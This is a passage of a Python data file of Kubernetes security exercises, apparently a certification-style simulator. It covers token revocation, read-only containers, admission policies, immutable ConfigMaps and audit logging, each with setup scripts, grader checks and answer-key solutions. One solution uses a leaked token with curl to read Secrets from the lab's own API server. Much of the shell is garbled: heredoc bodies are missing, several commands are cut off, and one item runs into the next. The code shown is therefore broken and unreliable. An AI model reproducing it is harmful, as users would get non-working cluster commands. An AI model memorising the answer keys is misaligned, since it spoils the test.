C("secrets.txt says yes", 2, r"""eq "$(tr -d ' \n\r' < "$WS/q94/secrets.txt" 2>/dev/null | tr 'A-Z' 'a-z')" yes"""), C("the API server refuses both tokens", 4, CURL + r""" [ "$(j -n %{ns} sa ci-bot '{.metadata.uid}')" != "$(cat "$PRIV/q94.uid")" ] || exit 1 # the API server remembers a token it has just accepted for some seconds for i in $(seq 1 10); do eq "$(code /api/v1/namespaces/%{ns}/pods -H "'Authorization: Bearer $(cat "$PRIV/q94.a")'")" 401 \ && eq "$(code /api/v1/namespaces/%{ns}/pods -H "'Authorization: Bearer $(cat "$PRIV/q94.b")'")" 401 && exit 0 sleep 4 done; exit 1"""), C("ci-bot exists again with its permissions, and a new token of it works", 4, CAN + CURL + r""" u=$(j -n %{ns} sa ci-bot '{.metadata.uid}'); [ -n "$u" ] && [ "$u" != "$(cat "$PRIV/q94.uid")" ] || exit 1 can --as=system:serviceaccount:%{ns}:ci-bot -- create deployments -n %{ns} && eq "$(j -n %{ns} rolebinding ci-bot '{.roleRef.name}')" edit || exit 1 t=$($K -n %{ns} create token ci-bot 2>/dev/null); [ -n "$t" ] && eq "$(code /api/v1/namespaces/%{ns}/pods -H "'Authorization: Bearer $t'")" 200"""), ], "solution": """ k -n %{ns} auth can-i get secrets --as=system:serviceaccount:%{ns}:ci-bot # yes (it has `edit`) -> secrets.txt curl -sk -H "Authorization: Bearer $(cat {WS}/q94/leaked.token)" https://localhost:6443/api/v1/namespaces/%{ns}/secrets | head -3 k -n %{ns} get secret --field-selector type=kubernetes.io/service-account-token # ci-bot-token: the first leak, never expires k -n %{ns} delete sa ci-bot # every token of the ServiceAccount dies with it, the Secret is removed too k -n %{ns} create sa ci-bot # same name, new uid: the RoleBinding applies again, the old tokens do not curl -sk -o /dev/null -w '%{http_code}\\n' -H "Authorization: Bearer $(cat {WS}/q94/second.token)" https://localhost:6443/api/v1/namespaces/%{ns}/pods # 401 k -n %{ns} create token ci-bot | head -c 20; echo # A token issued by the TokenRequest API (`kubectl create token`, or the one mounted in a Pod) # cannot be revoked by itself: it is valid until it expires - or until the object it is bound to, # the ServiceAccount (its uid, not its name), is gone. Deleting only the token Secret would have # killed the first token and left the second one working for six hours. """, }, # ================================================================== 6.4 Immutability ==== { "id": 95, "domain": "RUNTIME", "title": "A read-only root filesystem", "params": lambda r: {"ns": ns_pick(r, "render"), "dep": name_pick(r, "thumbnailer")}, "task": """ Make the container of Deployment `%{dep}` in Namespace `%{ns}` immutable at runtime: - its root filesystem is read-only; - it cannot gain privileges (`allowPrivilegeEscalation: false`). The application writes in two places and must keep working: its log `/var/log/app.log` and its working files under `/tmp`. Give it a volume that lives and dies with the Pod for each of them. Do not change the image or the command. """, "setup": NS + r""" mkns %{ns} $K -n %{ns} create deploy %{dep} --image=busybox:1.36 -- sh -c 'mkdir -p /tmp/cache /var/log; while true; do date >> /var/log/app.log; date > /tmp/cache/stamp; sleep 5; done' >/dev/null $K -n %{ns} rollout status deploy %{dep} --timeout=180s >/dev/null """, "checks": [ C("the container has a read-only root filesystem and no privilege escalation", 3, r""" c='{.spec.template.spec.containers[0]' eq "$(j -n %{ns} deploy %{dep} "$c.securityContext.readOnlyRootFilesystem}")" true && eq "$(j -n %{ns} deploy %{dep} "$c.securityContext.allowPrivilegeEscalation}")" false \ && eq "$(j -n %{ns} deploy %{dep} "$c.image}")" busybox:1.36 && j -n %{ns} deploy %{dep} "$c.command}" | grep -q 'app.log'"""), C("/tmp and /var/log are emptyDir volumes", 3, PY + r""" py -n %{ns} deploy %{dep} ' t = o["spec"]["template"]["spec"]; e = {v["name"] for v in t.get("volumes", []) if "emptyDir" in v} m = {x["mountPath"].rstrip("/") for x in t["containers"][0].get("volumeMounts", []) if x["name"] in e} {"/tmp", "/var/log"} <= m'"""), C("in the running Pod the application writes its files, and nothing else can be written", 4, r""" eq "$(j -n %{ns} deploy %{dep} '{.spec.template.spec.containers[0].securityContext.readOnlyRootFilesystem}')" true || exit 1 for i in $(seq 1 20); do [ "$(j -n %{ns} deploy %{dep} '{.status.updatedReplicas}')" = 1 ] && [ "$(j -n %{ns} deploy %{dep} '{.status.availableReplicas}')" = 1 ] && break; sleep 3; done p=$($K -n %{ns} get pod -l app=%{dep} --field-selector status.phase=Running --sort-by=.metadata.creationTimestamp -o jsonpath='{.items[-1:].metadata.name}'); [ -n "$p" ] || exit 1 sleep 6 $K -n %{ns} exec "$p" -- sh -c 'test -s /var/log/app.log && test -s /tmp/cache/stamp' 2>/dev/null && ! $K -n %{ns} exec "$p" -- touch /etc/ksim-probe 2>/dev/null \ && ! $K -n %{ns} exec "$p" -- touch /bin/ksim-probe 2>/dev/null"""), ], "solution": """ k -n %{ns} edit deploy %{dep} # containers: # - ... # securityContext: # readOnlyRootFilesystem: true # allowPrivilegeEscalation: false # volumeMounts: # - {name: tmp, mountPath: /tmp} # - {name: log, mountPath: /var/log} # volumes: # - {name: tmp, emptyDir: {}} # - {name: log, emptyDir: {}} k -n %{ns} rollout status deploy %{dep} k -n %{ns} exec deploy/%{dep} -- sh -c 'touch /etc/x; tail -1 /var/log/app.log' # Read-only file system / a date # With a read-only root an intruder cannot install tools, replace binaries or leave files behind. # The few paths a program really writes get an emptyDir each - if you do not know them, set the # flag and read the errors in the container's log. `kubectl set volume` cannot make an emptyDir # and a mount in one command for two paths any faster than the edit. """, }, { "id": 96, "domain": "RUNTIME", "title": "Which Pods can change themselves?", "params": lambda r: {"ns": ns_pick(r, "fin")}, "task": """ Policy for Namespace `%{ns}`: containers are **immutable at runtime**. A Pod meets that only if - every one of its containers has a read-only root filesystem, - none of its containers is privileged, and - it mounts no `hostPath` volume that is writable. Six Pods run there: `ledger`, `gateway`, `reports`, `scanner`, `mailer` and `indexer`. 1. Write the names of the Pods that do **not** meet the policy to `{WS}/q96/mutable.txt`, one per line. 2. Delete those Pods. The ones that meet the policy keep running. """, "setup": NS + r""" mkns %{ns}; rm -rf "$WS/q96"; mkdir -p "$WS/q96" $K apply -f - >/dev/null </dev/null || exit 1 echo "$(j -n %{ns} pod ledger '{.metadata.uid}') $(j -n %{ns} pod gateway '{.metadata.uid}')" > "$PRIV/q96.uids" printf 'indexer\nmailer\nreports\nscanner\n' > "$PRIV/q96.mutable" """, "checks": [ C("mutable.txt names the four Pods that do not meet the policy", 5, r""" [ -s "$WS/q96/mutable.txt" ] && diff <(tr -d ' \r' < "$WS/q96/mutable.txt" | sed 's#.*/##' | grep . | sort -u) "$PRIV/q96.mutable" >/dev/null"""), C("those are deleted; ledger and gateway are the same Pods as before", 5, r""" read -r u1 u2 < "$PRIV/q96.uids" for p in indexer mailer reports scanner; do [ -z "$(j -n %{ns} pod $p '{.metadata.name}')" ] || [ -n "$(j -n %{ns} pod $p '{.metadata.deletionTimestamp}')" ] || exit 1; done eq "$(j -n %{ns} pod ledger '{.metadata.uid}')" "$u1" && eq "$(j -n %{ns} pod gateway '{.metadata.uid}')" "$u2" """), ], "solution": """ k -n %{ns} get pod -o json | jq -r '.items[] | select( any(.spec.containers[]; .securityContext.readOnlyRootFilesystem != true) or any(.spec.containers[]; .securityContext.privileged == true) or any(.spec.volumes[]?; .hostPath) ) | .metadata.name' | tee {WS}/q96/mutable.txt # indexer (writable hostPath), mailer (its second container), reports (no read-only root), scanner (privileged) k -n %{ns} delete pod $(cat {WS}/q96/mutable.txt) # The traps are the ones in the list: readOnlyRootFilesystem is per container, so one sidecar # without it makes the Pod mutable; a privileged container can remount its root read-write; and a # writable hostPath changes the node itself. gateway's emptyDir is fine - it is not the image, and # it is gone with the Pod. """, }, { "id": 97, "domain": "RUNTIME", "title": "Enforce immutability at admission", "difficulty": "hard", "params": lambda r: {"ns": ns_pick(r, "sealed")}, "task": """ In Namespaces labelled `immutable=true` — `%{ns}` is one — no Pod may be created unless it is immutable at runtime. Enforce that with a **ValidatingAdmissionPolicy**: 1. ValidatingAdmissionPolicy `immutable-pods` for Pods (create and update): **every container and init container** must set `readOnlyRootFilesystem: true`, and none may be privileged. 2. ValidatingAdmissionPolicyBinding `immutable-pods`: violations are denied, in Namespaces labelled `immutable=true` only. """, "setup": NS + r""" mkns %{ns}; mkns %{ns}-open $K label ns %{ns} immutable=true --overwrite >/dev/null $K delete validatingadmissionpolicybinding immutable-pods --ignore-not-found >/dev/null 2>&1 $K delete validatingadmissionpolicy immutable-pods --ignore-not-found >/dev/null 2>&1; true """, "checks": [ C("policy immutable-pods covers Pods; binding immutable-pods denies, for Namespaces labelled immutable=true", 2, PY + r""" py validatingadmissionpolicy immutable-pods 'any("pods" in r.get("resources", []) for r in o["spec"].get("matchConstraints", {}).get("resourceRules", []))' || exit 1 py validatingadmissionpolicybinding immutable-pods ' s = o["spec"] s.get("policyName") == "immutable-pods" and "Deny" in s.get("validationActions", []) and s.get("matchResources", {}).get("namespaceSelector", {}).get("matchLabels") == {"immutable": "true"}'"""), C("in %{ns}: a Pod without a read-only root is refused, one with it is admitted", 3, SCPOD + r""" nope %{ns} '""" + PLAIN + r"""' && nope %{ns} '"securityContext": {"readOnlyRootFilesystem": false}' && scpod %{ns} '""" + RO + r"""'"""), C("a privileged container is refused, and init containers are checked too", 3, SCPOD + r""" nope %{ns} '""" + PLAIN + r"""' || exit 1 nope %{ns} '""" + RO_PRIV + r"""' && nope %{ns} '""" + RO + r"""' '""" + PLAIN + r"""' && scpod %{ns} '""" + RO + r"""' '""" + RO + r"""'"""), C("other Namespaces are not affected", 2, SCPOD + r"""nope %{ns} '""" + PLAIN + r"""' && scpod %{ns}-open '""" + PLAIN + r"""' && scpod default '""" + PLAIN + r"""'"""), ], "solution": """ cat <<'EOF' | k apply -f - apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingAdmissionPolicy metadata: {name: immutable-pods} spec: failurePolicy: Fail matchConstraints: resourceRules: - {apiGroups: [""], apiVersions: ["v1"], operations: [CREATE, UPDATE], resources: [pods]} validations: - expression: >- (object.spec.containers + (has(object.spec.initContainers) ? object.spec.initContainers : [])).all(c, has(c.securityContext) && has(c.securityContext.readOnlyRootFilesystem) && c.securityContext.readOnlyRootFilesystem && !(has(c.securityContext.privileged) && c.securityContext.privileged)) message: every container needs readOnlyRootFilesystem true and must not be privileged --- apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingAdmissionPolicyBinding metadata: {name: immutable-pods} spec: policyName: immutable-pods validationActions: [Deny] matchResources: namespaceSelector: matchLabels: {immutable: "true"} EOF k -n %{ns} run t --image=busybox:1.36 --dry-run=server -- sleep 1 # refused, with the message # In CEL a field that is not set is not `false`: reading it is an error, and with failurePolicy # Fail an error refuses the request - but for the wrong reason and with a confusing message. Guard # every optional field with has(). The label value is a string: "true" in quotes. """, }, { "id": 98, "domain": "RUNTIME", "title": "Frozen configuration, no shells", "params": lambda r: {"ns": ns_pick(r, "settle")}, "task": """ Nothing in Namespace `%{ns}` should change while it runs: 1. ConfigMap `app-settings` and Secret `app-keys` are to be **immutable** — in place, without deleting and re-creating them. 2. Group `devs` (Role `developer`, RoleBinding `developer`) may no longer open a shell in a Pod or attach to one (`pods/exec`, `pods/attach`). It keeps reading Pods and their logs. 3. Try to change a value of the ConfigMap afterwards and save the API server's error message to `{WS}/q98/immutable.txt`. """, "setup": NS + r""" mkns %{ns}; rm -rf "$WS/q98"; mkdir -p "$WS/q98" $K -n %{ns} create configmap app-settings --from-literal=mode=live --from-literal=region=eu >/dev/null $K -n %{ns} create secret generic app-keys --from-literal=signing=k-%{ns} >/dev/null $K apply -f - >/dev/null </dev/null echo "$(j -n %{ns} cm app-settings '{.metadata.uid}') $(j -n %{ns} secret app-keys '{.metadata.uid}')" > "$PRIV/q98.uids" """, "checks": [ C("ConfigMap app-settings and Secret app-keys are immutable, and still the same objects", 3, r""" read -r u1 u2 < "$PRIV/q98.uids" eq "$(j -n %{ns} cm app-settings '{.immutable}')" true && eq "$(j -n %{ns} secret app-keys '{.immutable}')" true \ && eq "$(j -n %{ns} cm app-settings '{.metadata.uid}')" "$u1" && eq "$(j -n %{ns} secret app-keys '{.metadata.uid}')" "$u2" """), C("group devs can no longer exec or attach, and still reads Pods and logs", 4, CAN + r""" A="--as=dev-user --as-group=devs" for r in pods/exec pods/attach; do for v in get create; do cannot $A -- $v $r -n %{ns} || exit 1; done; done can $A -- list pods -n %{ns} && can $A -- get pods/log -n %{ns} && can $A -- get configmaps -n %{ns}"""), C("a change to the ConfigMap is refused by the API server", 2, r""" out=$($K -n %{ns} patch cm app-settings --dry-run=server -p '{"data":{"mode":"test"}}' 2>&1) && exit 1 echo "$out" | grep -qi immutable"""), C("immutable.txt holds the error", 1, r"""grep -qi 'immutable' "$WS/q98/immutable.txt" 2>/dev/null"""), ], "solution": """ k -n %{ns} patch cm app-settings -p '{"immutable": true}' k -n %{ns} patch secret app-keys -p '{"immutable": true}' k -n %{ns} edit role developer # delete the rule for pods/exec and pods/attach k -n %{ns} patch cm app-settings -p '{"data":{"mode":"test"}}' 2>&1 | tee {WS}/q98/immutable.txt # ... field is immutable when `immutable` is set k -n %{ns} auth can-i create pods --subresource=exec --as=dev-user --as-group=devs # no # immutable: true cannot be taken back: to change the data you delete the object and create a new # one (and restart the Pods that use it). It also takes load off the kubelets, which stop watching # the object. A shell in a container is the easiest way to change it at runtime - without exec # and attach in RBAC, the only way in is a new rollout. """, }, # ==================================================================== 6.5 Audit logs ==== { "id": 99, "domain": "RUNTIME", "title": "An audit policy with four levels", "difficulty": "hard", "params": lambda r: {"ns": ns_pick(r, "treasury")}, "task": """ Audit logging is on in this cluster (`/var/log/kubernetes/audit/audit.log` on `{CP}`), with a policy that logs every request at `Metadata` level — far too much, and too little where it matters. Replace the policy in `/etc/kubernetes/audit/policy.yaml`: 1. **Secrets:** every request, at `Metadata` level — never their contents. 2. **Reading** anything else (`get`, `list`, `watch`): not logged at all. 3. **ConfigMaps in Namespace `%{ns}`:** changes at `RequestResponse` level. 4. **Everything else:** at `Metadata` level. 5. No event for the `RequestReceived` stage. The API server reads the policy only when it starts: restart it, and make sure it comes back. """, "setup": NS + API + AUDIT + r""" mkns %{ns} audit_setup <<'EOF' || { echo "could not switch on audit logging" >&2; exit 1; } apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata EOF """, "checks": [ C("policy.yaml is an audit Policy that omits the RequestReceived stage, and the API server runs", 2, API + r""" f=/etc/kubernetes/audit/policy.yaml eq "$(nx "$CP" "yq .kind $f" /dev/null; sleep 3 n=$(aud ".objectRef.resource==\"configmaps\" and .objectRef.name==\"$m\" and .verb==\"patch\" and .level==\"RequestResponse\" and .responseObject.data.a==\"c\"") $K -n %{ns} delete configmap $m >/dev/null 2>&1 [ "${n:-0}" -ge 1 ]"""), C("a change elsewhere is logged at Metadata level, and nothing at the RequestReceived stage", 2, API + AUDIT + r""" api_ok || exit 1; m=ksim$RANDOM$RANDOM $K -n default create configmap $m --from-literal=a=b >/dev/null; $K -n default patch configmap $m -p '{"data":{"a":"c"}}' >/dev/null; sleep 3 n=$(aud ".objectRef.resource==\"configmaps\" and .objectRef.name==\"$m\" and .verb==\"patch\" and .level==\"Metadata\"") r=$(aud ".objectRef.name==\"$m\" and .stage==\"RequestReceived\"") $K -n default delete configmap $m >/dev/null 2>&1 [ "${n:-0}" -ge 1 ] && [ "$r" = 0 ]"""), ], "solution": """ sudo -i cat > /etc/kubernetes/audit/policy.yaml </dev/null $K -n %{ns} create configmap settings --from-literal=a=b >/dev/null $K -n %{ns} create sa %{sa} >/dev/null; $K -n %{ns} create sa reporter >/dev/null $K -n %{ns} create role %{sa}-secrets --verb=get --resource=secrets >/dev/null $K -n %{ns} create rolebinding %{sa}-secrets --role=%{sa}-secrets --serviceaccount=%{ns}:%{sa} >/dev/null $K -n %{ns} create role settings-reader --verb=get --resource=configmaps >/dev/null $K -n %{ns} create rolebinding settings-reader --role=settings-reader --serviceaccount=%{ns}:reporter >/dev/null poll() { # poll POD SERVICEACCOUNT RESOURCE/NAME: a Pod that asks the API for an object every 5 seconds $K apply -f - >/dev/null </dev/null audit_setup <<'EOF' || { echo "could not switch on audit logging" >&2; exit 1; } apiVersion: audit.k8s.io/v1 kind: Policy omitStages: [RequestReceived] rules: - level: Metadata EOF $K -n %{ns} wait --for=condition=Ready pod --all --timeout=240s >/dev/null || exit 1 for i in $(seq 1 30); do [ "$(aud ".objectRef.resource==\"secrets\" and .objectRef.name==\"payroll\" and .user.username==\"system:serviceaccount:%{ns}:%{sa}\" and .responseStatus.code==200")" -ge 1 ] && exit 0; sleep 3 done echo "no read of the Secret shows in the audit log" >&2; exit 1 """, "checks": [ C("user.txt names the identity that reads the Secret", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q100/user.txt" 2>/dev/null)" system:serviceaccount:%{ns}:%{sa}"""), C("pod.txt names the Pod", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q100/pod.txt" 2>/dev/null | sed 's#.*/##')" %{snoop}"""), C("the Pod is still there, and its reads are now refused", 4, CAN + AUDIT + r""" S=system:serviceaccount:%{ns}:%{sa} eq "$(j -n %{ns} pod %{snoop} '{.status.phase}')" Running && cannot --as=$S -- get secret/payroll -n %{ns} && can --as=system:serviceaccount:%{ns}:reporter -- get configmap/settings -n %{ns} || exit 1 for i in $(seq 1 8); do [ "$(audlast ".objectRef.resource==\"secrets\" and .objectRef.name==\"payroll\" and .user.username==\"$S\"" .responseStatus.code)" = 403 ] && exit 0; sleep 3 done; exit 1"""), ], "solution": """ sudo jq -r 'select(.objectRef.resource == "secrets" and .objectRef.name == "payroll") | .user.username' /var/log/kubernetes/audit/audit.log | sort | uniq -c # system:serviceaccount:%{ns}:%{sa} -> {WS}/q100/user.txt sudo jq -r 'select(.objectRef.name == "payroll") | .user.extra["authentication.kubernetes.io/pod-name"][0]' /var/log/kubernetes/audit/audit.log | sort -u # %{snoop} - or: k -n %{ns} get pod -o custom-columns=POD:.metadata.name,SA:.spec.serviceAccountName k -n %{ns} get rolebinding -o wide | grep -w %{sa} # %{sa}-secrets k -n %{ns} delete rolebinding %{sa}-secrets sudo tail -f /var/log/kubernetes/audit/audit.log | jq -c 'select(.objectRef.name == "payroll") | [.user.username, .responseStatus.code]' # 403 now # A token mounted into a Pod carries the Pod's name: the audit event has it under user.extra, so # the log answers "which Pod" as well as "which ServiceAccount". Every read is one line with the # time, the identity, the object and the outcome - `uniq -c` over the user names is usually the # first query. """, }, { "id": 101, "domain": "RUNTIME", "title": "Audit exec and delete, and nothing else", "difficulty": "hard", "params": lambda r: {"ns": ns_pick(r, "prod")}, "task": """ This cluster has no audit trail. Switch audit logging on, on `{CP}`, for exactly what the security team wants to see: 1. Policy `/etc/kubernetes/audit/policy.yaml`: - `pods/exec` and `pods/attach` requests, in any Namespace: `Metadata` level; - **deletions** of anything in Namespace `%{ns}`: `RequestResponse` level; - nothing else is logged. 2. The API server writes to `/var/log/kubernetes/audit/audit.log` — on the node, not only inside the container — keeping at most 5 old files of at most 10 MB each, for 14 days. 3. The API server must be back and healthy. Pod `probe` in `%{ns}` is there for your tests. """, "setup": NS + r""" mkns %{ns} nx "$CP" 'rm -rf /etc/kubernetes/audit /var/log/kubernetes/audit' /dev/null $K -n %{ns} wait --for=condition=Ready pod/probe --timeout=180s >/dev/null """, "checks": [ C("the API server runs with the policy, the log path and the three limits", 2, API + r""" runs kube-apiserver '--audit-policy-file=/etc/kubernetes/audit/policy.yaml' && runs kube-apiserver '--audit-log-path=/var/log/kubernetes/audit/audit.log' \ && runs kube-apiserver '--audit-log-maxbackup=5' && runs kube-apiserver '--audit-log-maxsize=10' && runs kube-apiserver '--audit-log-maxage=14' && wait_api 60"""), C("an exec into a Pod is logged on the node, at Metadata level", 3, API + AUDIT + r""" api_ok && runs kube-apiserver '--audit-policy-file=' || exit 1 $K -n %{ns} exec probe -- true >/dev/null 2>&1; sleep 3 [ "$(aud ".objectRef.subresource==\"exec\" and .objectRef.name==\"probe\" and .level==\"Metadata\"")" -ge 1 ]"""), C("a deletion in %{ns} is logged at RequestResponse level", 3, API + AUDIT + r""" api_ok && runs kube-apiserver '--audit-policy-file=' || exit 1; m=ksim$RANDOM$RANDOM $K -n %{ns} create configmap $m --from-literal=a=b >/dev/null; $K -n %{ns} delete configmap $m >/dev/null; sleep 3 [ "$(aud ".objectRef.name==\"$m\" and .verb==\"delete\" and .level==\"RequestResponse\"")" -ge 1 ]"""), C("nothing else is: not a read, not a creation, not a deletion in another Namespace", 2, API + AUDIT + r""" api_ok && runs kube-apiserver '--audit-policy-file=' || exit 1; m=ksim$RANDOM$RANDOM $K -n %{ns} exec probe -- true >/dev/null 2>&1 $K -n %{ns} create configmap $m --from-literal=a=b >/dev/null; $K -n %{ns} get configmap $m >/dev/null $K -n default create configmap $m --from-literal=a=b >/dev/null; $K -n default delete configmap $m >/dev/null; sleep 3 e=$(aud ".objectRef.subresource==\"exec\" and .objectRef.name==\"probe\"") x=$(aud ".objectRef.name==\"$m\" and .verb!=\"delete\""); y=$(aud ".objectRef.name==\"$m\" and .objectRef.namespace==\"default\"") z=$(aud ".verb==\"get\" and .objectRef.resource==\"configmaps\"") $K -n %{ns} delete configmap $m >/dev/null 2>&1 [ "${e:-0}" -ge 1 ] && [ "$x" = 0 ] && [ "$y" = 0 ] && [ "$z" = 0 ]"""), ], "solution": """ sudo -i mkdir -p /etc/kubernetes/audit /var/log/kubernetes/audit cat > /etc/kubernetes/audit/policy.yaml < /etc/kubernetes/audit/policy.yaml; rm -rf /var/log/kubernetes/audit' &2; exit 1 """, "checks": [ C("the API server answers again, still with its audit flags", 4, API + r""" { api_ok || { sleep 10; api_ok; }; } && runs kube-apiserver '--audit-policy-file=/etc/kubernetes/audit/policy.yaml' && runs kube-apiserver '--audit-log-path=/var/log/kubernetes/audit/audit.log'"""), C("the policy is valid and logs at Metadata level", 3, API + r""" api_ok || exit 1 eq "$(nx "$CP" 'yq ".rules[-1].level" /etc/kubernetes/audit/policy.yaml' /dev/null 2>&1; sleep 3 nx "$CP" "grep -c $m /var/log/kubernetes/audit/audit.log" /dev/null | grep -qv '^0$'"""), ], "solution": """ sudo -i crictl ps -a --name kube-apiserver # Exited, again and again crictl logs $(crictl ps -a --name kube-apiserver -q | head -1) 2>&1 | tail -5 # first: ... loading audit policy file: failed to read file path "/etc/kubernetes/audit/policy.yaml": no such file or directory # -> the file exists on the node, but nothing mounts it into the container vi /etc/kubernetes/manifests/kube-apiserver.yaml # volumeMounts: # - {name: audit-policy, mountPath: /etc/kubernetes/audit, readOnly: true} # - {name: audit-log, mountPath: /var/log/kubernetes/audit} # volumes: # - {name: audit-policy, hostPath: {path: /etc/kubernetes/audit, type: DirectoryOrCreate}} # - {name: audit-log, hostPath: {path: /var/log/kubernetes/audit, type: DirectoryOrCreate}} crictl logs $(crictl ps -a --name kube-apiserver -q | head -1) 2>&1 | tail -5 # then: ... unknown audit level "Metdata" -> a typo in the policy vi /etc/kubernetes/audit/policy.yaml # level: Metadata watch crictl ps # the kubelet retries by itself, with a growing delay kubectl get ns; tail -1 /var/log/kubernetes/audit/audit.log | jq -c '[.level, .verb, .requestURI]' # One error at a time: the API server stops at the first one, so fix, look at the log of the # newest container, fix the next. The log directory needs its mount too - without it the server # runs, but the audit log lives inside the container and is lost at every restart. """, }, ]